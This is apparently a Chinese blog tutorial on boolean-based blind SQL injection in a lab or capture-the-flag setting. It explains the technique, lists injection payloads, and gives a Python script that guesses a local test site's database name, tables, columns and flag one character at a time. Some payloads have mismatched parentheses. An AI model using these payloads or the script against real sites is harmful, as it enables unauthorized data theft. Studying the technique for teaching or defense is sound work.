布尔盲注步骤

使用场景:

在没有数据回显 的情况下,是不显示具体内容,但会显示有结果或没结果的一种二分的方式(例如:显示用户名或密码错误)

通常逐个爆破猜解,效率偏低

思路:利用回显的不同,推测sql语句执行的结果是true还是false

在and后的判断条件稍作更改

例: select * from users where id='1' and (select length(database())=1)#

过程:

获取数据库名的具体信息:

复制代码
left(a,b)从左侧截取 a 的前 b 位:left(select database(),1)>'s'

substr(a,b,c)从b位置开始,截取字符串a的c长度

mid(a,b,c)从位置b开始,截取a字符串的c位

ascii()将某个字符转换为ascii值:ascii(substr(user),1,1))=101"#

脚本

python 复制代码
import requests
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select database()),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='answer'),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(group_concat(flag) from answer),%s,1))=%d--+"
result = ""

for i in range(1,100):
    for j in range(33,127):
        payload = url%(i,j)
        s = requests.get(url=payload)
        if "查询" in s.text:
            result += chr(j)
            print(result)
            break
print(result)

**
i代表依次从1-100位,遍历所得结果字符串的第i位
j从33-127包含了ascii中所有可见字符,代表逐个比对判断第n个字符是哪个字符
url%(i,j)其中%代表将()中的字符替换到url表达式的占位符中
requests.get 使用requests库中的get方法,发送get请求到url中
chr()函数将ascii码字符转换成字符串
相关推荐
SelectDB13 分钟前
冷查第一,再登榜首!Apache Doris 3.1 全面刷新 JSONBench 性能纪录
数据库·apache
wei_shuo19 分钟前
智能运维×低资源占用:金仓数据库助力能源企业降本增效与国产化替换实践
运维·数据库·king base
float_六七27 分钟前
SQL中的NULL陷阱:为何=永远查不到空值
java·前端·sql
nvd1127 分钟前
GKE连接私有Cloud SQL疑难问题排查实录
数据库·sql
Dev7z29 分钟前
MySQL 错误 1046 (3D000) 是因为在执行 SQL 语句时 没有选择当前数据库
数据库·sql·mysql
wangchen_01 小时前
MySQL表的查询
数据库·mysql
倔强的石头_2 小时前
金仓KES:玩转“五位一体”融合架构,轻松驾驭数字时代
数据库
unicrom_深圳市由你创科技2 小时前
MySQL 全文索引进阶:中文分词配置 + 模糊查询性能优化
mysql·性能优化·中文分词
沐浴露z2 小时前
详细解析 MySQL 性能优化之【索引下推】
数据库·mysql·性能优化
多情刀客无情刀2 小时前
目录名在状态信息被获取之前改变了
数据库·postgresql